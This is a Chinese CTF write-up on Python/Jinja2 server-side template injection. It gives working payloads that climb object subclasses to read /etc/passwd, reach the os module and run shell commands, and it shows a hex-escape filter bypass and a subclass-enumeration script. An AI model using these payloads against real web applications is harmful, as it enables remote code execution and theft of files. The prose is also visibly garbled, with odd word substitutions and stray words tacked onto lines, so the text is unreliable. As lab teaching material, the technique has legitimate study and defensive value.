Python模块注入-SSTI

python模块注入-SSTI

  1. 打开页面(看到python template injection应该是python模块注入)

  1. 测试一下http://111.200.241.244:61392/{{3*4}}

发现成功运行告终果(固然加法,除法都同样,主要判断能不能执行咱们的代码语句)html

  • 在这里我先介绍一下几种经常使用于SSTI的魔术方法
__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
 
__subclasses__   每一个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用
__builtins__ builtins便是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行以前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,因此能够直接调用引用的模块
  • 获取基类的几种方法python

    [].__class__.__base__
    ''.__class__.__mro__[2]
    ().__class__.__base__
    {}.__class__.__base__
    request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用
    或者
    [].__class__.__bases__[0]       //其余的相似
    
    **注意:若是._'这些被过滤了,能够用16进制编码绕过!!!**
    例如:{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}}
    特别注意用16进制编码以后里面要加"
  • 获取基本类的子类程序员

    [].__class__.__base__.__subclasses__()
  1. 咱们尝试获取基类(发现一个为 ‘object’ 的类)

  1. 咱们尝试基类的子类

SSTI的主要目的就是从这么多子类中找出能够利用的类(通常是指读写文件的类)加以利用web

那么咱们能利用的类有哪些呢?shell

咱们能够利用的方法有<type 'file'>等,(通常file在第40号)flask

  1. 咱们尝试读取/etc/passwd文件函数

    {{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

上面的例子看到咱们用 file 读取了/etc/passwd ,可是若是想要读取目录怎么办测试

那么咱们能够寻找万能的os模块(这里能够写脚本遍历寻找,也能够本身慢慢数,通常大概71号,或者能够Ctrl+F在网页搜索 '<' ,由于是从0开始,因此大概第72个就是)ui

#!/usr/bin/env python
# encoding: utf-8

num = 0

for item in ''.__class__.__mro__[2].__subclasses__():
    try:
         if 'os' in item.__init__.__globals__:
             print num,item
         num+=1
    except:
        print '-'
        num+=1	
        
//这是脚本

找到这个对应的编号就对了编码

  1. 而后咱们直接调用就好,能够调用system函数,有了shell其余问题就解决了

    ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

    固然,在某些状况下system函数会被过滤,这时候也能够采用os模块的 listdir 函数来读取目录。(能够配合file来实现文件读取)

    ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.') #读取本级目录

    另外在某些不得以的状况下可使用如下方式来读取文件。(目前没见过这种状况)

    方法一:

    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #把 read() 改成 write() 就是写文件

    方法二:

    存在的子模块能够经过.index()方式来查询

    >>>''.__class__.__mro__[2].__subclasses__().index(file)
    40       //查询结果40

    用file模块来查询

    >>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
  • 如下是很是经常使用的payload:

    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read()
    
    
    ''.__class__.__mro__[2].__subclasses__()       [71].__init__.__globals__['os'].system('ls')
    
    
    ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

文章引用:

http://www.javashuo.com/article/p-ccoporai-ws.html

相关文章
相关标签/搜索